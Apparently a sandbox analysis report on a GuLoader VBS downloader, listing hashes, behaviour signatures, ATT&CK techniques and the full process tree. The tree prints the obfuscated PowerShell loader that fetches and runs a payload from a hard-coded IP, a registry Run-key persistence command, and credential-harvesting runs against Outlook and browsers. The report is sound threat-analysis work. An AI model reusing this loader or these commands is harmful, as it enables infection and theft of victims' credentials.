guloader | 8d1e1cc8b62e9d051b831f560b85a3f031f4d90a50fe53ff36ca373d28ff8b3e

Analysis

max time kernel
148s
max time network
149s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
28-06-2024 02:34

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

c34b1264320651723222ea0785511f7f317dd295b38b0c0a23d0ac421a3c1e48.vbs
Size

187KB
MD5

4948f25f03e8b1e397066530f79d85dd
SHA1

3d8328d506504a47eefaa9425b08a4070ef494e5
SHA256

c34b1264320651723222ea0785511f7f317dd295b38b0c0a23d0ac421a3c1e48
SHA512

d92a357cfdfc0810fc31cd4ad3f35ec62f4860338d626ab4b79e027431fe70556ecc330650b4848803a84077b5fd9b93fd58380bbc2adda8953b2322ea5c06d1
SSDEEP

3072:YmN8GGebKjeK3ubth+DCFxKCvBB/WnHPP1w/sLJFJ281QIHz1y8mNy7Ey1MgKTZ/:Y08GxbKja3+DCbKCvBB/WnHXC/sLJFJw

Score

10^/10

guloader collection downloader persistence

Malware Config

Signatures

Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
downloader guloader
NirSoft MailPassView 1 IoCs
Password recovery tool for various email clients

Processes:

resource yara_rule

behavioral2/memory/1876-58-0x0000000000400000-0x0000000000462000-memory.dmp MailPassView
NirSoft WebBrowserPassView 1 IoCs
Password recovery tool for various web browsers

Processes:

resource yara_rule

behavioral2/memory/3676-57-0x0000000000400000-0x0000000000478000-memory.dmp WebBrowserPassView

resource	yara_rule
behavioral2/memory/1876-58-0x0000000000400000-0x0000000000462000-memory.dmp	MailPassView

resource	yara_rule
behavioral2/memory/3676-57-0x0000000000400000-0x0000000000478000-memory.dmp	WebBrowserPassView

Nirsoft 3 IoCs

Processes:

resource	yara_rule
behavioral2/memory/1876-58-0x0000000000400000-0x0000000000462000-memory.dmp	Nirsoft
behavioral2/memory/988-64-0x0000000000400000-0x0000000000424000-memory.dmp	Nirsoft
behavioral2/memory/3676-57-0x0000000000400000-0x0000000000478000-memory.dmp	Nirsoft

Blocklisted process makes network request 2 IoCs

Processes:

WScript.exepowershell.exe

flow pid process

2 2044 WScript.exe
12 536 powershell.exe
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.

Query Registry
T1012

System Information Discovery
T1082

Processes:

WScript.exe

description ioc process

Key value queried \REGISTRY\USER\S-1-5-21-1181767204-2009306918-3718769404-1000\Control Panel\International\Geo\Nation WScript.exe
Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs
collection

Email Collection
T1114

Processes:

wab.exe

description ioc process

Key opened \REGISTRY\USER\S-1-5-21-1181767204-2009306918-3718769404-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts wab.exe

flow	pid	process
2	2044	WScript.exe
12	536	powershell.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-1181767204-2009306918-3718769404-1000\Control Panel\International\Geo\Nation	WScript.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-1181767204-2009306918-3718769404-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts	wab.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

reg.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-1181767204-2009306918-3718769404-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Dalboens145 = "%Sarcosporidian% -w 1 $Chefdelegeredes=(Get-ItemProperty -Path 'HKCU:\\Liking\\').Lycopodiaceae;%Sarcosporidian% ($Chefdelegeredes)"	reg.exe

Suspicious use of NtCreateThreadExHideFromDebugger 2 IoCs

Processes:

wab.exe

pid process

1036 wab.exe
1036 wab.exe
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

Processes:

powershell.exewab.exe

pid process

3372 powershell.exe
1036 wab.exe

pid	process
1036	wab.exe
1036	wab.exe

pid	process
3372	powershell.exe
1036	wab.exe

Suspicious use of SetThreadContext 4 IoCs

Processes:

powershell.exewab.exe

description	pid	process	target process
PID 3372 set thread context of 1036	3372	powershell.exe	wab.exe
PID 1036 set thread context of 3676	1036	wab.exe	wab.exe
PID 1036 set thread context of 1876	1036	wab.exe	wab.exe
PID 1036 set thread context of 988	1036	wab.exe	wab.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Modifies registry key 1 TTPs 1 IoCs

Modify Registry
T1112

Processes:

reg.exe

pid process

4332 reg.exe
Suspicious behavior: EnumeratesProcesses 12 IoCs

Processes:

powershell.exepowershell.exewab.exewab.exe

pid process

536 powershell.exe
536 powershell.exe
3372 powershell.exe
3372 powershell.exe
3372 powershell.exe
3372 powershell.exe
3676 wab.exe
3676 wab.exe
988 wab.exe
988 wab.exe
3676 wab.exe
3676 wab.exe
Suspicious behavior: MapViewOfSection 5 IoCs

Processes:

powershell.exewab.exe

pid process

3372 powershell.exe
1036 wab.exe
1036 wab.exe
1036 wab.exe
1036 wab.exe
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

powershell.exepowershell.exewab.exe

description pid process

Token: SeDebugPrivilege 536 powershell.exe
Token: SeDebugPrivilege 3372 powershell.exe
Token: SeDebugPrivilege 988 wab.exe
Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

wab.exe

pid process

1036 wab.exe

pid	process
4332	reg.exe

pid	process
536	powershell.exe
536	powershell.exe
3372	powershell.exe
3372	powershell.exe
3372	powershell.exe
3372	powershell.exe
3676	wab.exe
3676	wab.exe
988	wab.exe
988	wab.exe
3676	wab.exe
3676	wab.exe

pid	process
3372	powershell.exe
1036	wab.exe
1036	wab.exe
1036	wab.exe
1036	wab.exe

description	pid	process
Token: SeDebugPrivilege	536	powershell.exe
Token: SeDebugPrivilege	3372	powershell.exe
Token: SeDebugPrivilege	988	wab.exe

pid	process
1036	wab.exe

Suspicious use of WriteProcessMemory 36 IoCs

Processes:

WScript.exepowershell.exepowershell.exewab.execmd.exe

description	pid	process	target process
PID 2044 wrote to memory of 536	2044	WScript.exe	powershell.exe
PID 2044 wrote to memory of 536	2044	WScript.exe	powershell.exe
PID 536 wrote to memory of 3752	536	powershell.exe	cmd.exe
PID 536 wrote to memory of 3752	536	powershell.exe	cmd.exe
PID 536 wrote to memory of 3372	536	powershell.exe	powershell.exe
PID 536 wrote to memory of 3372	536	powershell.exe	powershell.exe
PID 536 wrote to memory of 3372	536	powershell.exe	powershell.exe
PID 3372 wrote to memory of 228	3372	powershell.exe	cmd.exe
PID 3372 wrote to memory of 228	3372	powershell.exe	cmd.exe
PID 3372 wrote to memory of 228	3372	powershell.exe	cmd.exe
PID 3372 wrote to memory of 1036	3372	powershell.exe	wab.exe
PID 3372 wrote to memory of 1036	3372	powershell.exe	wab.exe
PID 3372 wrote to memory of 1036	3372	powershell.exe	wab.exe
PID 3372 wrote to memory of 1036	3372	powershell.exe	wab.exe
PID 3372 wrote to memory of 1036	3372	powershell.exe	wab.exe
PID 1036 wrote to memory of 5072	1036	wab.exe	cmd.exe
PID 1036 wrote to memory of 5072	1036	wab.exe	cmd.exe
PID 1036 wrote to memory of 5072	1036	wab.exe	cmd.exe
PID 5072 wrote to memory of 4332	5072	cmd.exe	reg.exe
PID 5072 wrote to memory of 4332	5072	cmd.exe	reg.exe
PID 5072 wrote to memory of 4332	5072	cmd.exe	reg.exe
PID 1036 wrote to memory of 3676	1036	wab.exe	wab.exe
PID 1036 wrote to memory of 3676	1036	wab.exe	wab.exe
PID 1036 wrote to memory of 3676	1036	wab.exe	wab.exe
PID 1036 wrote to memory of 3676	1036	wab.exe	wab.exe
PID 1036 wrote to memory of 1876	1036	wab.exe	wab.exe
PID 1036 wrote to memory of 1876	1036	wab.exe	wab.exe
PID 1036 wrote to memory of 1876	1036	wab.exe	wab.exe
PID 1036 wrote to memory of 1876	1036	wab.exe	wab.exe
PID 1036 wrote to memory of 936	1036	wab.exe	wab.exe
PID 1036 wrote to memory of 936	1036	wab.exe	wab.exe
PID 1036 wrote to memory of 936	1036	wab.exe	wab.exe
PID 1036 wrote to memory of 988	1036	wab.exe	wab.exe
PID 1036 wrote to memory of 988	1036	wab.exe	wab.exe
PID 1036 wrote to memory of 988	1036	wab.exe	wab.exe
PID 1036 wrote to memory of 988	1036	wab.exe	wab.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\c34b1264320651723222ea0785511f7f317dd295b38b0c0a23d0ac421a3c1e48.vbs"
1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2044

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Remmene251 heneicosane Galocherne Dermenchysis Jydepottens Dunkard bourgeoisiet Planner Madding Enerverings Roughhewing Unbegreased Omplantet Prophesiers Orthosymmetrical Handpick Orthocarpous Kedede121 Tiddlywink Strangling Carbonate Synomosy Odorizing Krigsfrelserne201 Remmene251 heneicosane Galocherne Dermenchysis Jydepottens Dunkard bourgeoisiet Planner Madding Enerverings Roughhewing Unbegreased Omplantet Prophesiers Orthosymmetrical Handpick Orthocarpous Kedede121 Tiddlywink Strangling Carbonate Synomosy Odorizing Krigsfrelserne201';$Fothering = 1;Function Fortovsrestauranten($Kinetoscope){$Manfreds=$Kinetoscope.Length-$Fothering;$Tilkbsbillet171='SUBSTRIN';$Tilkbsbillet171+='G';For( $skarnskngtens=1;$skarnskngtens -lt $Manfreds;$skarnskngtens+=2){$Remmene251+=$Kinetoscope.$Tilkbsbillet171.Invoke( $skarnskngtens, $Fothering);}$Remmene251;}function travlhedens($Fructed){ . ($Vaginate) ($Fructed);}$Skrabnser=Fortovsrestauranten 'KMGo,z iBlDlFa,/,5S.A0j ,(MWsiSn.d o w s BN T S1S0L.P0M;C IWNiNnF6S4T;P UxS6R4 ;, ArAvE: 1 2D1S..0D). GHe c,k.oK/ 2U0S1A0 0 1 0S1G ,Fdi,rVe,fMoUxP/T1s2T1 . 0G ';$Precise=Fortovsrestauranten ' U sce.r -CAMgHe nMtO ';$Jydepottens=Fortovsrestauranten ',h,t t.pA: /G/S1M0A3N. 1.9 5C..2D3 7V.I4P3S/.SLt tOtMeSpHi,l lBeHn s 3C4 .Up ccxL ';$Contemplators=Fortovsrestauranten 'w> ';$Vaginate=Fortovsrestauranten ' iFe.xU ';$Liguorian10='Planner';$Cleanout = Fortovsrestauranten 'HeScFh oC %,a pSpPd aTt a,%,\ KPlBi s,t.e r,pNa p iDr eAr,. NTo nU M&,&S eUc,h.oB tS ';travlhedens (Fortovsrestauranten 'F$ g.l,oFb aOlM:PB u fIfLiNsJt.eRrPnEe sP= ( c m.d. / c ,$GC lPeHaSnSoKuTtR) ');travlhedens (Fortovsrestauranten ' $LgSlSo,b.aOlS:VD efr,m e.n.cMh.y.s.iAsB= $GJ yUdseKpMoPtSt,e.nOsI.CsPp.lCiJt (e$ CLoAn.tNermrp.lUaUtCoFr s.). ');travlhedens (Fortovsrestauranten ',[YNSe t .MS e.r.v i c eTPwo i nBtpMLaCnDaigPe r ] :,:pSbe cku.r iDt yPP,r o t,ogcMoPl. F=D [BNseBtF.US.e couNrTiCtIy PSrAo.t o c oRlAT y,pFe,]P: : T lts 1O2R ');$Jydepottens=$Dermenchysis[0];$Velgreren201= (Fortovsrestauranten 'L$tg,lAoSbpaEl,:,N.o n pBa t h,oIl,o,gEiIcBa l.=.NBeAwa-FO b,j.eLc tM ,S yps,tBe mF. N e tP. WSeNbECOl iSeGn,t');$Velgreren201+=$Buffisternes[1];travlhedens ($Velgreren201);travlhedens (Fortovsrestauranten ' $ NTo nFpLaFt h oLl o g i.c aSlW. H esaVdUeErus,[M$BPPr e,cSi sEe ]S=T$ SAk r.a bSn,sUe rH ');$Adolpho=Fortovsrestauranten 'P$ NUoHnDp a t h o lCoDgMi cTaPl .pD o.wCnPl o.aBdKF i,lKe.( $ JCyTdKe p o.tStEe nSs,,B$.S.yDn.oBmFoEs y,) ';$Synomosy=$Buffisternes[0];travlhedens (Fortovsrestauranten ' $AgPl osbVa lM:fPSoUlFeScIa.t,=,( TAecsVtF-.PFaSt.h. C$ S.yHn o m oPs y,)A ');while (!$Polecat) {travlhedens (Fortovsrestauranten 'B$Rg,lIo bAa.l :Ps yMpRhEi lNiSpBh oeb iFaV=V$TtPr,u eG ') ;travlhedens $Adolpho;travlhedens (Fortovsrestauranten ' SHt,a.rFt -lS lBeSe,p C4B ');travlhedens (Fortovsrestauranten 'E$BgAlCo,b aRlr:BP,o l e.c,a,tB= (STkeFs tH-.PAa tIhP V$SS y.nBoSm.o sfy.), ') ;travlhedens (Fortovsrestauranten 'U$CgAlTo bSaBlD:UGsa.lUo,cThTe rSnSe = $ gHlTo bMaMlK:,h eSn.eAiBc o.sMaRn eR+ +P% $ DAe.rSm,e,n,c hByUs i.s .TcBo uSnAtY ') ;$Jydepottens=$Dermenchysis[$Galocherne];}$Osteopath199=345504;$Nonfealties=26095;travlhedens (Fortovsrestauranten 'O$Gg lSo.b.aRlE: M,a dMdTi nTgD =, ,GUe.t,-rCSo n t eDn tp $PS yAnUoUmGoSsFyB ');travlhedens (Fortovsrestauranten 'B$Lg lCoOb.aIl.:.CGoKaDmNiSa b,lSe N=B T[ SUy,s.t eUmC. CNoNn vEe.rFt.]t:S:IFPrUopm.B a s eH6 4 S,t rMi nFg.( $SMPaFdSd.i n gT)M ');travlhedens (Fortovsrestauranten ' $KgMlCo bMaFl,:.UFn.b.e gAr eFaCshe d P=P [,SOy sEt,eLm,.JTCe,xCtM.IEFnEc.o,d,i n g,] :O:.AASbCGIKI,.RG.e tOS,tLrKi.nEgP( $MC,oSa m.i aAb lEeM). ');travlhedens (Fortovsrestauranten '.$UgSl oCb aOlJ:USFi l iLcBoaiAdJe a =f$HUunMb.eEg r.e a.s e dP. s,u b.s.tFr iTn gP(S$,OSsGt e oIpSa.tBhD1.9u9 , $,NEoEn f,e,aVlbtDi e sU) ');travlhedens $Silicoidea;"
2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:536

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Klisterpapirer.Non && echo t"
3⤵
PID:3752

C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Remmene251 heneicosane Galocherne Dermenchysis Jydepottens Dunkard bourgeoisiet Planner Madding Enerverings Roughhewing Unbegreased Omplantet Prophesiers Orthosymmetrical Handpick Orthocarpous Kedede121 Tiddlywink Strangling Carbonate Synomosy Odorizing Krigsfrelserne201 Remmene251 heneicosane Galocherne Dermenchysis Jydepottens Dunkard bourgeoisiet Planner Madding Enerverings Roughhewing Unbegreased Omplantet Prophesiers Orthosymmetrical Handpick Orthocarpous Kedede121 Tiddlywink Strangling Carbonate Synomosy Odorizing Krigsfrelserne201';$Fothering = 1;Function Fortovsrestauranten($Kinetoscope){$Manfreds=$Kinetoscope.Length-$Fothering;$Tilkbsbillet171='SUBSTRIN';$Tilkbsbillet171+='G';For( $skarnskngtens=1;$skarnskngtens -lt $Manfreds;$skarnskngtens+=2){$Remmene251+=$Kinetoscope.$Tilkbsbillet171.Invoke( $skarnskngtens, $Fothering);}$Remmene251;}function travlhedens($Fructed){ . ($Vaginate) ($Fructed);}$Skrabnser=Fortovsrestauranten 'KMGo,z iBlDlFa,/,5S.A0j ,(MWsiSn.d o w s BN T S1S0L.P0M;C IWNiNnF6S4T;P UxS6R4 ;, ArAvE: 1 2D1S..0D). GHe c,k.oK/ 2U0S1A0 0 1 0S1G ,Fdi,rVe,fMoUxP/T1s2T1 . 0G ';$Precise=Fortovsrestauranten ' U sce.r -CAMgHe nMtO ';$Jydepottens=Fortovsrestauranten ',h,t t.pA: /G/S1M0A3N. 1.9 5C..2D3 7V.I4P3S/.SLt tOtMeSpHi,l lBeHn s 3C4 .Up ccxL ';$Contemplators=Fortovsrestauranten 'w> ';$Vaginate=Fortovsrestauranten ' iFe.xU ';$Liguorian10='Planner';$Cleanout = Fortovsrestauranten 'HeScFh oC %,a pSpPd aTt a,%,\ KPlBi s,t.e r,pNa p iDr eAr,. NTo nU M&,&S eUc,h.oB tS ';travlhedens (Fortovsrestauranten 'F$ g.l,oFb aOlM:PB u fIfLiNsJt.eRrPnEe sP= ( c m.d. / c ,$GC lPeHaSnSoKuTtR) ');travlhedens (Fortovsrestauranten ' $LgSlSo,b.aOlS:VD efr,m e.n.cMh.y.s.iAsB= $GJ yUdseKpMoPtSt,e.nOsI.CsPp.lCiJt (e$ CLoAn.tNermrp.lUaUtCoFr s.). ');travlhedens (Fortovsrestauranten ',[YNSe t .MS e.r.v i c eTPwo i nBtpMLaCnDaigPe r ] :,:pSbe cku.r iDt yPP,r o t,ogcMoPl. F=D [BNseBtF.US.e couNrTiCtIy PSrAo.t o c oRlAT y,pFe,]P: : T lts 1O2R ');$Jydepottens=$Dermenchysis[0];$Velgreren201= (Fortovsrestauranten 'L$tg,lAoSbpaEl,:,N.o n pBa t h,oIl,o,gEiIcBa l.=.NBeAwa-FO b,j.eLc tM ,S yps,tBe mF. N e tP. WSeNbECOl iSeGn,t');$Velgreren201+=$Buffisternes[1];travlhedens ($Velgreren201);travlhedens (Fortovsrestauranten ' $ NTo nFpLaFt h oLl o g i.c aSlW. H esaVdUeErus,[M$BPPr e,cSi sEe ]S=T$ SAk r.a bSn,sUe rH ');$Adolpho=Fortovsrestauranten 'P$ NUoHnDp a t h o lCoDgMi cTaPl .pD o.wCnPl o.aBdKF i,lKe.( $ JCyTdKe p o.tStEe nSs,,B$.S.yDn.oBmFoEs y,) ';$Synomosy=$Buffisternes[0];travlhedens (Fortovsrestauranten ' $AgPl osbVa lM:fPSoUlFeScIa.t,=,( TAecsVtF-.PFaSt.h. C$ S.yHn o m oPs y,)A ');while (!$Polecat) {travlhedens (Fortovsrestauranten 'B$Rg,lIo bAa.l :Ps yMpRhEi lNiSpBh oeb iFaV=V$TtPr,u eG ') ;travlhedens $Adolpho;travlhedens (Fortovsrestauranten ' SHt,a.rFt -lS lBeSe,p C4B ');travlhedens (Fortovsrestauranten 'E$BgAlCo,b aRlr:BP,o l e.c,a,tB= (STkeFs tH-.PAa tIhP V$SS y.nBoSm.o sfy.), ') ;travlhedens (Fortovsrestauranten 'U$CgAlTo bSaBlD:UGsa.lUo,cThTe rSnSe = $ gHlTo bMaMlK:,h eSn.eAiBc o.sMaRn eR+ +P% $ DAe.rSm,e,n,c hByUs i.s .TcBo uSnAtY ') ;$Jydepottens=$Dermenchysis[$Galocherne];}$Osteopath199=345504;$Nonfealties=26095;travlhedens (Fortovsrestauranten 'O$Gg lSo.b.aRlE: M,a dMdTi nTgD =, ,GUe.t,-rCSo n t eDn tp $PS yAnUoUmGoSsFyB ');travlhedens (Fortovsrestauranten 'B$Lg lCoOb.aIl.:.CGoKaDmNiSa b,lSe N=B T[ SUy,s.t eUmC. CNoNn vEe.rFt.]t:S:IFPrUopm.B a s eH6 4 S,t rMi nFg.( $SMPaFdSd.i n gT)M ');travlhedens (Fortovsrestauranten ' $KgMlCo bMaFl,:.UFn.b.e gAr eFaCshe d P=P [,SOy sEt,eLm,.JTCe,xCtM.IEFnEc.o,d,i n g,] :O:.AASbCGIKI,.RG.e tOS,tLrKi.nEgP( $MC,oSa m.i aAb lEeM). ');travlhedens (Fortovsrestauranten '.$UgSl oCb aOlJ:USFi l iLcBoaiAdJe a =f$HUunMb.eEg r.e a.s e dP. s,u b.s.tFr iTn gP(S$,OSsGt e oIpSa.tBhD1.9u9 , $,NEoEn f,e,aVlbtDi e sU) ');travlhedens $Silicoidea;"
3⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3372

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Klisterpapirer.Non && echo t"
4⤵
PID:228

C:\Program Files (x86)\windows mail\wab.exe
"C:\Program Files (x86)\windows mail\wab.exe"
4⤵
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1036

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Dalboens145" /t REG_EXPAND_SZ /d "%Sarcosporidian% -w 1 $Chefdelegeredes=(Get-ItemProperty -Path 'HKCU:\Liking\').Lycopodiaceae;%Sarcosporidian% ($Chefdelegeredes)"
5⤵
- Suspicious use of WriteProcessMemory
PID:5072

C:\Windows\SysWOW64\reg.exe
REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Dalboens145" /t REG_EXPAND_SZ /d "%Sarcosporidian% -w 1 $Chefdelegeredes=(Get-ItemProperty -Path 'HKCU:\Liking\').Lycopodiaceae;%Sarcosporidian% ($Chefdelegeredes)"
6⤵
- Adds Run key to start application
- Modifies registry key
PID:4332

C:\Program Files (x86)\windows mail\wab.exe
"C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\vqyhpoiohtofjworsuekfvrtttmtazt"
5⤵
- Suspicious behavior: EnumeratesProcesses
PID:3676

C:\Program Files (x86)\windows mail\wab.exe
"C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\fslsihtivbgstckvbfrdqzlkbaebbkkzyy"
5⤵
- Accesses Microsoft Outlook accounts
PID:1876

C:\Program Files (x86)\windows mail\wab.exe
"C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\pmrkjz"
5⤵
PID:936

C:\Program Files (x86)\windows mail\wab.exe
"C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\pmrkjz"
5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:988

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --field-trial-handle=4336,i,17096020621006928097,15544233752327415349,262144 --variations-seed-version --mojo-platform-channel-handle=3596 /prefetch:8
1⤵
PID:1692

Network

MITRE ATT&CK Matrix ATT&CK v13

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_mclf0j4f.0lr.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\vqyhpoiohtofjworsuekfvrtttmtazt
Filesize
4KB

MD5
91227a2f05c7f74f6ebd1535a3f05b7b

SHA1
1ce317a272d67e3ac284948e49e6bc0acaee2e6d

SHA256
2967c8bcad47ab6cb88bf5b60a3a75b49f471a943d33c9b69aa7bfe1b763cfd2

SHA512
9ff9f6d2fb2880812fce42b91388e8b825483bb2df0976b9c630c397fed68f3625f4ba32d65933de0018b6e18554315152a1df00c98313d19612403076079a40

Download Submit
C:\Users\Admin\AppData\Roaming\Klisterpapirer.Non
Filesize
483KB

MD5
59d5cd5f7fb93a9089e6bf2621cb1130

SHA1
6b6e8e4fbb0a6eb2e71ef3a10303c8dae87c1b68

SHA256
c79867129c123816cbd012fe333bda1f88627c34790271d3541d15f77c6f566c

SHA512
6ebad0cd265f4ab0bf38fe9855de50ec5d51e6aa503f507d61b51c27dc562f34ff0036420aa4c36127cd5ec056bd1406080c09e937db871b28089ba74de36049

Download Submit
memory/536-4-0x00007FFCBB803000-0x00007FFCBB805000-memory.dmp

Filesize
8KB

Download
memory/536-51-0x00007FFCBB800000-0x00007FFCBC2C1000-memory.dmp

Filesize
10.8MB

Download
memory/536-15-0x00007FFCBB800000-0x00007FFCBC2C1000-memory.dmp

Filesize
10.8MB

Download
memory/536-43-0x00007FFCBB803000-0x00007FFCBB805000-memory.dmp

Filesize
8KB

Download
memory/536-16-0x00007FFCBB800000-0x00007FFCBC2C1000-memory.dmp

Filesize
10.8MB

Download
memory/536-44-0x00007FFCBB800000-0x00007FFCBC2C1000-memory.dmp

Filesize
10.8MB

Download
memory/536-14-0x000001F4229C0000-0x000001F4229E2000-memory.dmp

Filesize
136KB

Download
memory/988-60-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/988-63-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/988-64-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/1036-77-0x0000000021C40000-0x0000000021C59000-memory.dmp

Filesize
100KB

Download
memory/1036-48-0x00000000021C0000-0x0000000005FB0000-memory.dmp

Filesize
61.9MB

Download
memory/1036-46-0x0000000000F60000-0x00000000021B4000-memory.dmp

Filesize
18.3MB

Download
memory/1036-73-0x0000000021C40000-0x0000000021C59000-memory.dmp

Filesize
100KB

Download
memory/1036-76-0x0000000021C40000-0x0000000021C59000-memory.dmp

Filesize
100KB

Download
memory/1876-58-0x0000000000400000-0x0000000000462000-memory.dmp

Filesize
392KB

Download
memory/1876-54-0x0000000000400000-0x0000000000462000-memory.dmp

Filesize
392KB

Download
memory/1876-56-0x0000000000400000-0x0000000000462000-memory.dmp

Filesize
392KB

Download
memory/3372-35-0x0000000006200000-0x000000000624C000-memory.dmp

Filesize
304KB

Download
memory/3372-33-0x0000000005BF0000-0x0000000005F44000-memory.dmp

Filesize
3.3MB

Download
memory/3372-37-0x0000000006750000-0x000000000676A000-memory.dmp

Filesize
104KB

Download
memory/3372-36-0x00000000077E0000-0x0000000007E5A000-memory.dmp

Filesize
6.5MB

Download
memory/3372-19-0x00000000028E0000-0x0000000002916000-memory.dmp

Filesize
216KB

Download
memory/3372-39-0x0000000007400000-0x0000000007422000-memory.dmp

Filesize
136KB

Download
memory/3372-42-0x00000000089C0000-0x000000000C7B0000-memory.dmp

Filesize
61.9MB

Download
memory/3372-40-0x0000000008410000-0x00000000089B4000-memory.dmp

Filesize
5.6MB

Download
memory/3372-34-0x00000000061D0000-0x00000000061EE000-memory.dmp

Filesize
120KB

Download
memory/3372-38-0x0000000007470000-0x0000000007506000-memory.dmp

Filesize
600KB

Download
memory/3372-22-0x00000000052B0000-0x0000000005316000-memory.dmp

Filesize
408KB

Download
memory/3372-20-0x0000000005450000-0x0000000005A78000-memory.dmp

Filesize
6.2MB

Download
memory/3372-21-0x0000000005210000-0x0000000005232000-memory.dmp

Filesize
136KB

Download
memory/3372-23-0x0000000005A80000-0x0000000005AE6000-memory.dmp

Filesize
408KB

Download
memory/3676-55-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/3676-57-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/3676-53-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download